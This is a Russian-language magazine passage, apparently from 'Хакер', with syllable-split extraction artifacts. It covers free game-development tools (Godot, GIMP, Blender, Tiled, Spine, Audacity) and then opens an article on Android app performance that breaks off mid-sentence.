слу чаях игру мож но раз мно жить на все под держи ваемые плат формы. На пер‐ 
вом  уров не  код  пишет ся  в  спе циаль ной  IDE  для  скрип тового  язы ка  AGK,
во вто ром — в любимой сре де раз работ ки на C++, нап ример Visual Studio.

Вдо бавок  AGK  под держи вает  лег кую  интегра цию  с  PHP  для  раз работ ки
онлай новых  игр  и  при ложе ний.  Сре ди  клю чевых  воз можнос тей  раз рабаты‐ 
ваемых в AGK игр: под дер жка физичес ких движ ков Box 2D и 3D Bullet  (соот‐ 
ветс твен но для дву мер ной и трех мерной гра фики), сис темы час тиц, про игры‐ 
вание  видео,  отоб ражение  рек ламы,  под дер жка  камеры  и  раз ные  соци аль‐ 
ные сер висы.

AGK прек расно под ходит для про тоти пиро вания и обкатки новых механик,
так же его впол не мож но исполь зовать для раз работ ки закон ченных решений.
Если ты решишь купить этот про дукт, рекомен дую сде лать это в Steam, а не
с офи циаль ного сай та, пос коль ку цена при ятно отли чает ся.

Ре дак тор AGK

Еще один дви жок, на котором я хочу оста новить ся, — это  . С недав него
вре мени он стал для меня инте ресен, и вот почему. Он пол ностью откры тый
и кросс‐плат формен ный. На нем мож но раз рабаты вать игры, сидя в Windows,
Linux, macOS, а соз давать их для Windows Desktop, Windows Universal,  Linux,
macOS, BSD, Haiku, Android, iOS, BlackBerry 10 и HTML5. Начало движ ку Godot
было  положе но  сот рудни ками  аргентин ской  ком пании  Okam  в  2007  году.
Изна чаль но он соз давал ся для собс твен ных про ектов ком пании, одна ко пос‐ 
ле  того,  как он дос тиг  опре делен ного  уров ня,  авто ры решили  выложить его
на  GitHub.  Это  про изош ло  в  2014  году.  С  того  вре мени  сооб щес тво  ста ло
помогать с раз работ кой.

Godot

С самого начала дви жок соз давал ся как пол ноцен ная сре да для раз работ‐ 
ки игр, не  тре бующая пос торон них средств кодиро вания. Он содер жит ори‐ 
гиналь ный  интерфейс,  собс твен ный  скрип товый  язык  GDScript,  пол ный
исходный  код  на  C++  и  мно жес тво  типов  объ ектов,  исполь зуемых  для  раз‐ 
работ ки  игр.  Некото рые  из  них  слу жат  для  соз дания  поль зователь ско го
интерфей са,  дру гие  пре дос тавля ют  спрай ты  (слу жат  для  соз дания  2D‐игр),
с  помощью  треть их  мож но  соз давать  физичес кие  объ екты,  чет вертые  —
для  видео  и  зву ков,  пятые  помога ют  добавить  сис темы  час тиц  раз ной  кон‐ 
фигура ции, шес тые — ани миро ван ные 3D‐объ екты, седь мые — целые сце ны
и про чее.

Скрип товый язык напоми нает Python, но отли чает ся от него в луч шую сто‐ 
рону,  нап ример  наличи ем  стро гой  типиза ции.  Редак тор  кода,  встро енный
в  Godot,  обла дает  все ми  харак терис тиками  сов ремен ных  средств  прог‐ 
рамми рова ния:  тут  есть  под свет ка  син такси са,  под ста нов ка,  встав ка  авто‐ 
отсту пов  и  так  далее.  Из  допол нитель ных  осо бен ностей  сто ит  отме тить
наличие дебаг гера, про фай лера и монито ра виде опа мяти.

Гра фичес кая сос тавля ющая в Godot осно вана на OpenGL ES 2. Име ется
редак тор  для  визу аль ного  соз дания  и  модифи кации  шей деров,  есть  собс‐ 
твен ный  язык  для  их  написа ния.  Godot  обла дает  встро енным  редак тором
для  соз дания  ани мации,  как  пер сонажей,  так  и  дру гих  объ ектов.  Для  дос‐ 
тижения  при емле мого  уров ня  опти миза ции  раз работ чики  Godot  отка зались
от исполь зования физичес ких движ ков треть их фирм, соз дав с нуля решение
для прос чета физичес ких вза имо дей ствий.

Godot

Что бы собирать вер сии для раз ных плат форм, дос таточ но ска чать экспор тер
и  при менить  его  для  соз дания  бан дла  под  опре делен ную  плат форму.
Исходный про ект менять не понадо бит ся.

За  год  на  инди‐сце не  про изош ло мно го  инте рес ного.  Как  я  и  пред полагал,
в  нас тоящее  вре мя  инди,  пыта ясь  сопер ничать  с  «боль шими»  раз работ‐ 
чиками,  сидящи ми  под  кры лом  у  изда телей,  начали осва ивать  прос торы 3D
и гло баль ного онлай на. По боль шей час ти это сетевые сес сион ные шутеры,
но иног да встре чают ся и MMO. Это му пос пособс тво вали сов ремен ные игро‐ 
вые тех нологии, в час тнос ти движ ки. Меж ду тем мно гие инди (и их боль шинс‐ 
тво)  по‐преж нему  раз рабаты вают  дву мер ные  экше ны  и  адвенчу ры
для  мобиль ных  плат форм  и  ПК.  Кон курируя  с  AAA‐про екта ми,  инди  порой
ухит ряют ся  сде лать  игру,  по  сво ей  про думан ности,  подаче  сюжета,  глу бине
сти ля и кра соте пре вос ходящую кон курен тов из мира «боль ших» игр.

ГРАФИЧЕСКИЕ РЕДАКТОРЫ
К незаме нимым инс тру мен там для раз работ ки любой игры отно сят ся и  гра‐ 
фичес кие редак торы. Без них никак. И неваж но, дву мер ную или трех мерную
игру ты раз рабаты ваешь, дву мер ные редак торы понадо бят ся в любом слу чае.

Чес тно  ска жу, мне  не  нра вит ся Photoshop,  я  им не  поль зуюсь  уже мно го
лет.  Из  проп риетар ных  редак торов  мне  боль ше  по  душе  пакет  прог рамм
CorelDRAW. В этот пакет вхо дят прек расный век торный редак тор, собс твен но
CorelDRAW  и  Corel  Photo‐Paint,  не  усту пающий  по  фун кци ональ нос ти  Phot‐
oshop.  Мне  кажет ся,  что  CorelDRAW  пре вос ходит  Adobe  Illustrator,  но  пос‐ 
ледний я не юзал. Одна ко CorelDRAW сто ит охре нитель ных денег. :‐) Поэто му,
ког да я стал доб росовес тным инди, то отка зал ся от него и разом потерял век‐ 
торный и рас тро вый редак торы.

Меж ду  тем  в  мире  open  source  пол но  инте рес ных  гра фичес ких  редак‐ 
торов. Сре ди них есть безус ловные лидеры, раз работ ка которых ведет ся уже
не один год. По фун кци ональ нос ти они не усту пают проп риетар ным решени‐ 
ям.  Наилуч шим  выбором  сре ди  рас тро вых  редак торов  для меня  стал  .
Прог рамма  раз рабаты вает ся  с  1995  года  и  содер жит  все  инс тру мен ты
и подав ляющее боль шинс тво опций и нас тро ек «Фотошо па».

GIMP

GIMP

Из  век торных  редак торов  оче вид ный  выбор  —  это  .  Inkspace  выг‐ 
лядит и работа ет, как CorelDRAW, набор инс тру мен тов при мер но похожий.

Inkspace

Inkspace

Инс тру мен ты рисова ния и залив ки, боль шой набор шаб лонных фигур, изме‐ 
нения  фор мы  и  мно гое  дру гое.  Есть  слои,  филь тры  и  рас ширения.
В общем — все, что нуж но для про дук тивной работы.

СОФТ ДЛЯ 3D-МОДЕЛИРОВАНИЯ
 — отличные прог раммы трех мерно го

модели рова ния  и  ани мации,  но  для  инди  они,  увы,  слиш ком  дороги.  Какие
решения тут может пред ложить open source?

Maya, LightWave, 3ds Max, ZBrush

Са мый  популяр ный  редак тор  для  3D‐модели рова ния  с  откры тым  кодом,
безус ловно,  . Он появил ся еще в 1994‐м и пер вые годы сво ей жиз ни
был ком мерчес ким про дук том (вы будете очень сме ять ся, но исполь зование
это го редак тора мы в «Хакере» рекомен довали еще в начале века. — Прим.
ред.). В  2002‐м его  код был открыт  и  опуб ликован  по  сво бод ной  лицен зии.
С того вре мени и ведет ся его активное раз витие.

Blender

Blender всег да сла вил ся сво ей слож ностью. Отчасти при чиной это го ста ли
его пер вые вер сии, где боль шинс тво команд выпол нялись через нажатие кла‐ 
виатур ных ком бинаций. Сей час дела в этом отно шении замет но улуч шились,
и для  вызова прак тичес ки  любой  коман ды мож но исполь зовать  либо  кноп ку
на панели инс тру мен тов, либо пункт в меню.

Кро ме  средств  модели рова ния  (полиго наль ное  и  скуль птур ное  модели‐ 
рова ние,  кри вые  Безье,  NURBS,  Metaballs),  в  Blender  есть  механиз мы  рен‐ 
дерин га,  тул зы  для  ани мации  (инвер сная,  ске лет ная  или  нелиней ная  ани‐ 
мация), соз дание и редак тирова ние видео, физика (динами ка мяг ких и твер‐ 
дых  тел,  обра баты ваемые  с  помощью  физичес кого  движ ка  Bullet),  сис тема
волос.

Так же Blender содер жит Blender Game Engine, с помощью которо го мож но
раз рабаты вать  прос тую  игро вую  логику,  обра баты вать  стол кно вения  и  опи‐ 
сывать  реак ции.  Код  игро вой  логики  пишет ся  на  язы ке  Python.  На  нем  же
мож но и рас ширять ассорти мент тулз, вхо дящих в Blender.

Blender с заг ружен ной моделью

По мимо  Blender,  сущес тву ет  еще  одно  бес плат ное  (пусть  и  не  откры тое)
решение — это  .TrueSpace

До  2008  года  эту  прог рамму  раз рабаты вали  в  ком пании  Caligari.  Затем
пра ва  купила Microsoft,  а  в  2010  году  раз работ ка  была  прек ращена,  и  пос‐ 
ледняя  вер сия  (7.61)  выпуще на  бес плат но.  Кор нями  это  при ложе ние  ухо дит
в  далекий  1986  год.  Тог да  оно  раз рабаты валось  для  компь юте ров  .
Толь ко в 1994 году выш ла пер вая вер сия TrueSpace для Windows.

Amiga

Тех нологии, заложен ные в TrueSpace, исполь зованы Microsoft в при ложе‐ 
нии 3D Builder (дос тупно бес плат но в Windows Store).

Windows Store

При ложе ние поз воля ет ска ниро вать, импорти ровать из широко го диапа зона
фор мата  фай лов,  редак тировать,  выс тра ивать  трех мерные  объ екты  и  рас‐ 
печаты вать модели на 3D‐прин тере.

3D Builder

Лет  десять  тому  назад,  ког да  я  доволь но  плот но  занимал ся  трех мерным
модели рова нием  и  ани маци ей,  мне  силь но  нра вилась  эта  прог рамма  с  ее
кле вым и не похожим ни на какие дру гие моделе ры интерфей сом.

3D-пер сонажи
Для  быс тро го  соз дания  трех мерных  пер сонажей  гумано идно го  типа  мож но
вос поль зовать ся прог раммой   с откры тым исходным кодом. Соз‐ 
дание  пер сонажа  начина ется  с  нас трой ки  парамет ров  «бол ванки»  (пер‐ 
сонажа  по  умол чанию).  Сре ди  парамет ров:  пол,  воз раст,  рост,  вес,  мус‐ 
кулату ра,  поза  и  мно гое  дру гое.  При ложе ние  в  чем‐то  напоми нает  Blender,
но отли чает ся прос тым и понят ным интерфей сом.

MakeHuman

MakeHuman

Ны неш няя  вер сия  1.1.0  раз работа на  на  C++  и  Python.  Гра фика  обра баты‐ 
вает ся  и  выводит ся  средс тва ми  OpenGL.  Изна чаль но  в  1999  году,  ког да
это  при ложе ние  появи лось,  оно  пред став ляло  собой  пла гин  для  Blender
и называ лось MakeHead. Поз днее, упер шись в пре дел воз можнос тей Python
API, коман да решила начать про ект с нуля на C. Еще поз же он был перене сен
на C++. Меж ду  тем  из‐за  того,  что  прог рамму  ста ло  слож но  раз рабаты вать
и  под держи вать,  в  2009  году  раз работ чики  при няли  решение  вер нуть ся
к Python с ядром на C++, при этом они начали обо соб ленный от Blender про‐ 
ект.  Таким  обра зом,  пер вая  ста биль ная  вер сия  MakeHuman  выш ла
в 2014 году.

Под робнее  работу  с  трех мерны ми  пер сонажа ми  и  еще  одно  полез ное
при ложе ние (Fuse) я   в статье на моем сай те.раз бираю
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ПОДБИРАЕМ НАБОР БЕСПЛАТНЫХ

ПРОГРАММ ДЛЯ РАЗРАБОТКИ ИГР

КОДИНГ  НАЧАЛО СТАТЬИ←

СОЗДАНИЕ КАСТОМНЫХ ШРИФТОВ
В свя зи с  тем что мно гие шриф ты вов се не бес плат ны и охра няют ся автор‐ 

ски ми пра вами, нам необ ходимо исполь зовать собс твен ные шриф ты. Для их

соз дания сущес тву ет ряд прог рамм — как плат ных, так и сво бод ных.

Из  чис ла  пос ледних  мож но  выделить  два  инс тру мен та.  Пер вый  — 

. Он пред став ляет собой пол ноцен ный инс тру мент для редак тирова ния

име ющих ся  и  соз дания  новых  шриф тов  в  фор матах  TrueType,  PostScript

и OpenType. Изна чаль но FontForge был прог раммой для Linux, поэто му осно‐ 

ван на GTK+ и в Windows работа ет в Cygwin.

Font‐

Forge

FontForge под Windows

Вто рая  полез ная  тул за —  это  . Она  нуж на  для  прев ращения  любого

из  уста нов ленных  в  сис теме  шриф тов  в  ком пак тную  рас тро вую  рас клад ку,

которую  удоб но  заг ружать  из  игры.  Прог рамма  даже  уме ет  сох ранять

в отдель ном фай ле коор динаты всех сим волов и раз меры про межут ков меж‐ 

ду  ними. В общем, BMFont — наипо лез ней ший инс тру мент  в  арсе нале раз‐ 

работ чика игр.

BMFont

BMFont

СОЗДАНИЕ УРОВНЕЙ
В  дву мер ной  игре  кар та  пред став ляет  собой  зад ний  фон  плюс  эле мен ты,

с которы ми могут вза имо дей ство вать пер сонажи и NPC. Все это мож но сде‐ 

лать  вруч ную:  нарисо вать  отдель но фон,  эле мен ты,  ском поновать  их  в  раз‐ 

рабаты ваемой игре, соз дав в движ ке для каж дого отдель ного эле мен та уни‐ 

каль ный объ ект.

Но есть спо соб луч ше — вос поль зовать ся редак тором тай ловых карт. Тай‐ 

ловую,  или  пли точ ную,  гра фику  исполь зуют,  ког да  соз дают  игро вые  уров ни,

запол няя боль шое прос транс тво под готов ленны ми плит ками. Если  все пра‐ 

виль но рас пре делить и добавить вари ации, то игрок не заметит пов торений.

Один из самых рас простра нен ных редак торов тай ловых карт — сво бод ная

прог рамма  с  откры тым  исходным  кодом  .  С  его  помощью  мож но  соз‐ 

давать  кар ты  для  дву мер ных  и  изо мет ричес ких  игр.  К  ним  мож но  отнести

плат форме ры  с  видом  сбо ку/свер ху,  ролевые  игры,  стра тегии.  Тай лы  могут

быть квад ратны ми рас тра ми или шес тиуголь никами. В качес тве тай ла мож но

исполь зовать любое изоб ражение.

Tiled

Кар ты  в  Tiled  фор миру ются  по  сло ям.  Для  опре делен ных  пли ток  мож но

задать свой ства стол кно вения. Раз рабаты ваемые уров ни сох раня ются в XML‐

фор мате TMX. Затем его мож но заг рузить из движ ка игры. Фор мат TMX под‐ 

держи вает ся  рядом  движ ков.  Кро ме  XML‐подоб ного  фор мата,  под держи‐ 

вает ся и JSON‐подоб ный.

Внеш ний вид Tiled

СОЗДАНИЕ КАРТ ТЕКСТУР
Соз давать  для  каж дого  изоб ражения  отдель ный  файл  —  пло хое  решение.

В игре могут исполь зовать ся десят ки и сот ни изоб ражений, и заг ружать каж‐ 

дый в отдель нос ти неп рактич но и неудоб но, осо бен но если речь идет об ани‐ 

мации.  Поэто му  для  нее  обыч но  исполь зуют ся  таб лицы  спрай тов  (Sprite

Sheet), каж дая из которых содер жит боль шое чис ло изоб ражений.

Для  соз дания  спрай товых  таб лиц  мож но  взять  прог рамму  .

При  пер вом  запус ке  тебе  пред ложат  выбор  из  бес плат ной  вер сии  и  Pro.

Отли чия  Pro —  в  некото рых  допол нитель ных  воз можнос тях  вро де  экспор та

в SWF, экспор та из коман дной стро ки и средств авто мати зации. Бес плат ная

же вер сия содер жит толь ко GUI‐вер сию интерфей са. Пол ная вер сия Texture‐

Packer  под держи вает  фор маты  заг рузки  спрай товых  таб лиц  для  трид цати

движ ков  (вклю чая  Unity  3D,  Cocos2d‐x),  а  у  бес плат ной  вер сии  этот  спи сок

огра ничен (срав нить спис ки ты можешь на сай те раз работ чика).

TexturePacker

TexturePacker

TexturePacker не толь ко соз дает ком пак тную таб лицу спрай тов, но и сжи мает

их и поз воля ет опти мизи ровать цвет, что еще луч ше эко номит ресур сы. Пос‐ 

ле запус ка бес плат ной вер сии пос леду ет воп рос о том, для какого игро вого

фрей мвор ка  (или движ ка)  соз дает ся дан ная  таб лица спрай тов. Затем будет

пред ложено заг рузить изоб ражения.

СОЗДАНИЕ АНИМАЦИИ
Ани миро ван ные обра зы исполь зуют ся в играх пос тоян но. Что бы соз дать ани‐ 

мацию какого‐либо объ екта, мож но нарисо вать каж дое его сос тояние самос‐ 

тоятель но в гра фичес ком редак торе от руки, но это будет очень дол го и неп‐ 

родук тивно. Гораз до луч ше вос поль зовать ся спе циаль ными инс тру мен тами.

Ани миро вать дву мер ный объ ект мож но, нап ример, с помощью редак тора

Flash,  но  мне  гораз до  боль ше  нра вит ся    ком пании  Esoteric  Software.

К сожале нию, она не бес плат на, но такой мощ ный инс тру мент, как Spine, сто‐ 

ит сво их денег (70 дол ларов за вер сию Essential или 300 дол ларов за про фес‐ 

сиональ ную).  Spine  соз дает  ске лет ную  ани мацию  меж ду  свя зан ными  гра‐ 

фичес кими  изоб ражени ями,  а  ске лет ная  ани мация  прек расно  под ходит

не толь ко для пер сонажей, но и для дви жения и вза имо дей ствия любых дру‐ 

гих объ ектов. Spine уме ет экспор тировать соз данную ани мацию в раз личные

фор маты, как в видео, так и по кад рам.

Spine

А я купил Spine

Преж де чем при обрести этот инс тру мент, мож но опро бовать три аль ную вер‐ 

сию. От пол ной она отли чает ся  тем, что сох ранить про ект и экспор тировать

дан ные нель зя.

В  Spine  изоб ражения  прик репля ются  к  кос тям,  а  затем  пос ледние  ани‐ 

миру ются.  Какую  выгоду  мы  при обре таем,  исполь зуя  ске лет ную  ани мацию

вмес то покад ровой?

Мень ший  раз мер  ито говых  дан ных  бла года ря  исполь зованию  мень шего

количес тва изоб ражений, толь ко сох ранение коор динат кос тей;

•

со ответс твен но, мень ше при ходит ся рисовать;•

бла года ря интерпо ляции ани мация работа ет более быс тро и плав но;•

ске лет ные ани мации могут сме шивать ся;•

ани маци ей мож но управлять из кода.•

Еще одна очень полез ная прог рамма для соз дания спрай товых ани маций —

. Она в целом похожа на Spine и выпол няет те же фун кции. У Spriter есть

демонс тра цион ная и про фес сиональ ная вер сии.

Spriter

Spriter

ЗВУКОВОЕ СОПРОВОЖДЕНИЕ
У  зву коин женера  в  игро вой  индус трии  весь ма  твор ческая  работа.  Он  раз‐ 

ными  спо соба ми  пыта ется  получить  необ ходимые  ему  зву ки:  хло пает  воз‐ 

душные шары, взры вает петар ды, перели вает воду из одно го ста кана в дру‐ 

гой,  записы вает  звук  дож дя,  находясь  на  кры ше  зда ния, — а  потом  все  эти

зву ки обра баты вает в зву ковом редак торе. Или же соз дает их с нуля. На рын‐ 

ке  пред став лено  боль шое  количес тво  ком мерчес ких  редак торов.  Так же

немало их и в сво бод ном дос тупе. Наибо лее популяр ный из них — это 

, и его сла ва впол не оправдан на.

Audaci‐

ty

Этот редак тор обла дает все ми воз можнос тями ком мерчес ких редак торов

аудио:

од новре мен ная  работа  с  нес коль кими  дорож ками,  в  том  чис ле  прос‐ 

лушива ние;

•

ра бота  с фай лами  раз ных фор матов —  чте ние  и  запись MP3, WAV, OGG

и так далее;

•

уда ление шумов из зву ка;•

из менение тем па и высоты зву ка;•

боль шой набор эффектов, как пос тавля емых с прог раммой «из короб ки»,

так и уста нав лива емых отдель но — в виде пла гинов.

•

Audacity

РЕСУРСЫ БЕСПЛАТНО!
Не обхо димые  эле мен ты  арта  мож но  най ти  на  прос торах  интерне та.

На некото рых сай тах энту зиас ты вык ладыва ют свои тру ды, что бы ими мог вос‐ 

поль зовать ся любой жела ющий. Тем самым худож ники, моделе ры и музыкан‐ 

ты  рас ска зыва ют  о  себе  и  соз дают  свое  пор тфо лио.  Если  игра  с  их  ресур‐ 

сами ста нет популяр ной, то это боль шой повод для гор дости — мож но сме ло

рас ска зывать  об  этом  на  собесе дова нии.  Такие  работы  ты  можешь  най ти,

к при меру, на сай те  .OpenGameArt

Еще  один  источник  арта  —  это  магази ны  ассе тов,  которые  пред лага ют

вен доры движ ков. У всех мало‐маль ски рас кру чен ных движ ков есть свои сто‐ 

ры. У Unity прос то огромный  , в нем про дает ся все, что душе

игро дела  угод но:  отдель ные  модель ки,  паки  тек стур,  наборы  ани мации,

целые  сце ны  и  исходни ки  закон ченных  про ектов,  начинен ные  объ екта ми,

сюжет ные линии, инс тру мен ты в помощь гей ммей керу, сер висы для соз дания

онлай новых и дру гих игр, рас ширения, аудио‐ и визу аль ные эффекты. Мно гие

товары отда ются даром. При мер но такая же исто рия с 

. У CryEngine есть свой  , в котором про дает ся тот же набор

товаров, но выбор замет но бед нее.

ма газин ассе тов

Unreal Engine Market‐

place Marketplace

По дыто жим наши выводы в одной боль шой схе ме.

Схе ма про екти рова ния игры

ЗАКЛЮЧЕНИЕ
На деюсь, статья была тебе инте рес на и ты узнал что‐то новое об инс тру мен‐ 

тах  игро дела.  Я  не  пытал ся  охва тить  все  инс тру мен ты  или  выделить

какую‐либо  часть  из  них. Сущес тву ет  великое мно жес тво  тулз  для  соз дания

игр. Я лишь оста новил ся на том ком плек те, который исполь зую в сво их про‐ 

ектах чаще все го.

Раз рабаты вая  некото рые  игры,  порой  удоб нее  запилить  тул зу  самос‐ 

тоятель но  и  спе циаль но  для  одной  игры.  Час то  в  даль нейшей  раз работ ке

это эко номит кучу вре мени при соз дании уров ней, мини‐игр или каких‐то осо‐ 

бых механик.

Ес ли ты тоже не чужд гей мде ву, не забудь поделить ся в ком мента риях сво‐ 

ими любимы ми инс тру мен тами!

http://fontforge.org/
http://www.angelcode.com/products/bmfont/
http://www.mapeditor.org/
https://www.codeandweb.com/texturepacker
http://esotericsoftware.com/
http://www.brashmonkey.com/index.htm
http://www.audacityteam.org/
http://opengameart.org/
https://www.assetstore.unity3d.com/en/#!/list/welcome-to-asset-store
https://www.unrealengine.com/marketplace
https://www.cryengine.com/marketplace
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КОДИНГ

Про изво дитель ность  —  один  из  клю чевых  парамет ров
мобиль ного  при ложе ния.  Твое  детище  может  быть  сколь
угод но фун кци ональ ным, кра сивым и полез ным, но если оно
тор мозит  —  про вал  прак тичес ки  гаран тирован.  К  счастью,
мно гих проб лем мож но избе жать, сле дуя прос тым пра вилам
и поль зуясь под ходящи ми инс тру мен тами.

КАК ПОЯВЛЯЮТСЯ ЛАГИ

Пе ред тем как перей ти к обсужде нию инс тру мен тов и тех ник повыше ния про‐ 
изво дитель нос ти,  уде лим  нем ного  вре мени  тому,  как  вооб ще  появ ляют ся
лаги и почему при ложе ние может быть мед ленным. Основные проб лемы сов‐ 
ремен ных при ложе ний:

слиш ком дол гая заг рузка при ложе ния и отдель ных экра нов;•
фри зы,  ког да  при ложе ние  прос то  зависа ет,  а  через  некото рое  вре мя
появ ляет ся сооб щение с пред ложени ем его убить;

•

про седа ния  FPS,  ког да  вмес то  плав ной  прок рутки  и  ани мации  поль‐ 
зователь видит слайд‐шоу.

•

При чины всех этих проб лем прос ты: слиш ком дол гое выпол нение каких‐либо
опе раций, вычис литель ных или опе раций вво да‐вывода, а вот спо собы опти‐ 
миза ции раз ные.

ХОЛОДНЫЙ СТАРТ

За пуск при ложе ния сос тоит из нес коль ких ста дий: это ини циали зация нового
про цес са, под готов ка окна для вывода интерфей са при ложе ния, показ окна
на экра не и переда ча управле ния коду при ложе ния. Далее при ложе ние дол‐ 
жно сфор мировать интерфейс на осно ве опи сания в XML‐фай ле, под гру зить
с  «дис ка»  или  из  интерне та  необ ходимые  для  кор рек тно го  отоб ражения
интерфей са  эле мен ты  (бит мапы,  дан ные  для  спис ков,  гра фиков  и  про чее),
ини циали зиро вать  допол нитель ные  эле мен ты  интерфей са,  такие  как  выд‐ 
вижное меню (Drawer), повесить на эле мен ты интерфей са кол бэки.

Оче вид но, что это огромный объ ем работы и сле дует при ложить все уси‐ 
лия для того, что бы выпол нить ее как мож но быс трее. Два глав ных инс тру мен‐ 
та в этом деле:

от ложен ная ини циали зация;•
па рал лель ный запуск задач.•

От ложен ная  ини циали зация  озна чает,  что  все,  что мож но  выпол нить  поз же,
надо выпол нить поз же. Не сто ит соз давать и ини циали зиро вать все дан ные
и объ екты, которые толь ко могут понадо бить ся при ложе нию, в самом начале.
Сна чала ини циали зиру ем толь ко то, что нуж но для кор рек тно го отоб ражения
глав ного экра на, затем перехо дим ко все му осталь ному.

Об работ ку  слож ных  и  дорогос тоящих  опе раций,  которые  невоз можно
опти мизи ровать,  а  так же  бло киру емых  опе раций  типа  чте ния  с  дис ка
или  получе ния  дан ных  с  сер вера,  сле дует  отправ лять  в  отдель ный  поток
и обновлять интерфейс асин хрон но по завер шении его работы.

При мер: у тебя есть при ложе ние, которое дол жно показы вать на глав ном
экра не  свод ку  дан ных,  получен ных  из  интерне та.  Самый  оче вид ный  спо соб
сде лать  это  —  получить  дан ные  с  сер вера  и  пос ле  это го  отоб разить
интерфейс.  И  хотя  Android  по  умол чанию  не  поз воля ет  выпол нять  сетевые
зап росы  в  основном  потоке  при ложе ния,  вынуж дая  соз давать  отдель ный
поток для получе ния дан ных с сер вера, боль шинс тво раз работ чиков все рав‐ 
но пос тара ются сде лать код пос ледова тель ным.

Проб лема такого под хода в том, что он вно сит задер жки, которые прос то
не  нуж ны. Боль шую  часть  вре мени  сетевой  поток  будет  прос таивать  в  ожи‐ 
дании дан ных, и это вре мя луч ше исполь зовать для отоб ражения интерфей са.
Дру гими  сло вами:  сра зу  пос ле  запус ка  при ложе ния  сле дует  соз дать  поток,
который будет получать дан ные с сер вера, но не ожи дать получе ния этих дан‐ 
ных,  а  соз давать  интерфейс,  исполь зуя  вре мен ные  заг лушки  вмес то  пока
еще не при нятых дан ных.

В качес тве заг лушек мож но исполь зовать пус тые кар тинки, пус тые стро ки,
пус тые спис ки (нап ример, RecyclerView мож но ини циали зиро вать сра зу, а при
получе нии дан ных прос то выз вать  ). Пос ле получе‐ 
ния  дан ных  с  сер вера  их  сле дует  кеширо вать.  При  сле дующем  запус ке  их
мож но будет исполь зовать вмес то заг лушек.

notifyDataSetChanged()

Та кой под ход эффектив но работа ет в отно шении не  толь ко сетевых ком‐ 
муника ций, но и любых задач, тре бующих дол гих вычис лений и/или ожи дания
дан ных. Нап ример, лаун черу необ ходимо немало вре мени, что бы зап росить
у  сис темы  спи сок  уста нов ленных  при ложе ний,  отсорти ровать  его,  заг рузить
в  память  икон ки  и  дру гие  дан ные.  Поэто му  сов ремен ные  лаун черы  дела ют
это  асин хрон но:  отоб ража ют  интерфейс  и  с  помощью  фоново го  потока
запол няют его икон ками при ложе ний.

Еще одно  узкое мес то: фор мирова ние интерфей са  из  опи сания  лай отов
в XML‐фай ле. Ког да ты вызыва ешь метод   или 
объ екта  LayoutInflater  (в  коде  фраг мента),  Android  находит  нуж ный  лай от
в бинар ном XML‐фай ле (для эффектив ности Android Studio упа ковы вает XML
в бинар ный фор мат),  чита ет его,  про водит пар синг и  на осно ве получен ных
дан ных  фор миру ет  интерфейс,  изме ряя  и  под гоняя  эле мен ты  интерфей са
друг к дру гу.

setContentView() inflate()

Это  дей стви тель но  слож ная  и  дорогая  опе рация.  Поэто му  необ ходимо
уде лить осо бое вни мание опти миза ции лай отов: избе гать излишней вло жен‐ 
ности  лай отов  друг  в  дру га  (нап ример,  исполь зовать  RelativeLayout  вмес то
вло жен ных  друг  в  дру га  LinearLayout),  а  так же  раз бить  слож ные  опи сания
интерфей са  на мно жес тво более мел ких  и  заг ружать  их  толь ко  тог да,  ког да
в этом воз никнет необ ходимость.

Дру гой вари ант — перей ти на язык Kotlin и исполь зовать  .
Она поз воля ет опи сывать интерфейс пря мо в коде, бла года ря чему ско рость
отоб ражения интерфей са воз раста ет в четыре раза, а ты получа ешь боль шую
гиб кость в управле нии логикой фор мирова ния интерфей са.

биб лиоте ку Anko

ФРИЗЫ И ПРОСЕДАНИЯ FPS

В  Android  толь ко  глав ный  поток  при ложе ния  име ет  пра во  обновлять  экран
и  обра баты вать  нажатия  на  экран.  Это  зна чит,  что,  ког да  твое  при ложе ние
занима ется  слож ной работой  в  глав ном потоке,  оно  не  име ет  воз можнос ти
реаги ровать  на  нажатия.  Для  поль зовате ля  при ложе ние  будет  выг лядеть
завис шим.  В  дан ном  слу чае  опять  же  поможет  вынос  слож ных  опе раций
в отдель ные потоки.

Есть,  одна ко,  нам ного  более  тон кий  и  неоче вид ный  момент.  Android
обновля ет экран со ско ростью 60 FPS. Это зна чит, что во вре мя показа ани‐ 
мации или про мот ки спис ков у него есть все го 16,6 мс на отоб ражение каж‐ 
дого кад ра. В боль шинс тве слу чаев Android справ ляет ся с этой работой и не
теря ет  кад ров. Но некор рек тно написан ное при ложе ние может затор мозить
его.

Упс, мы про пус тили кадр

Прос той  при мер:    —  эле мент  интерфей са,  поз воля ющий  соз‐ 
давать  чрез вычай но  длин ные  про маты ваемые  спис ки,  которые  занима ют
оди нако вое  количес тво  памяти  вне  зависи мос ти  от  дли ны  самого  спис ка.
Такое воз можно бла года ря пере исполь зованию одних и тех же наборов эле‐ 
мен тов интерфей са (ViewHolder) для отоб ражения раз ных эле мен тов спис ка.
Ког да  эле мент  спис ка  скры вает ся  с  экра на,  его  ViewHolder  переме щает ся
в кеш и затем исполь зует ся для отоб ражения сле дующих эле мен тов спис ка.

RecyclerView

Ког да RecyclerView извле кает ViewHolder из кеша, он запус кает метод 
  тво его адап тера, что бы напол нить его дан ными кон крет‐ 

ного  эле мен та  спис ка.  И  тут  про исхо дит  инте рес ное:  если  метод 
  будет  делать  слиш ком мно го  работы,  RecyclerView  не  успе ет

вов ремя сфор мировать сле дующий эле мент для отоб ражения и спи сок нач‐ 
нет тор мозить во вре мя про мот ки.

on‐
BindViewHolder()

onBind‐
ViewHolder()

Еще  один  при мер.  К  RecyclerView  мож но  под клю чить  кас томный 
, метод   которо го будет выз ван

при  про мот ке  спис ка.  Обыч но  его  исполь зуют  для  динами чес кого  скры тия
и  показа  круг лой  action‐кноп ки  в  углу  экра на  (FAB — Floating  Action Button).
Но  если  реали зовать  в  этом  методе  более  слож ный  код,  спи сок  опять  же
будет при тор маживать.

Recy‐
clerView.OnScrollListener() OnScrolled()

Ну  и  тре тий  при мер.  Допус тим,  интерфейс  тво его  при ложе ния  сос тоит
из  мно жес тва  фраг ментов,  меж ду  которы ми  мож но  перек лючать ся
с помощью боково го меню (Drawer). Кажет ся, что самый оче вид ный вари ант
решения  этой  задачи  —  помес тить  в  обра бот чик  нажатия  на  пун кты  меню
при мер но такой код:

// Переключаем фрагмент
getSupportFragmentManager
       .beginTransaction()
       .replace(R.id.container, fragment, "fragment")
       .commit()
// Закрываем Drawer
drawer.closeDrawer(GravityCompat.START)

Все логич но, вот толь ко если ты запус тишь при ложе ние и про тес тиру ешь его,
то уви дишь, что ани мация зак рытия меню тор мозит. Проб лема кро ется в том,
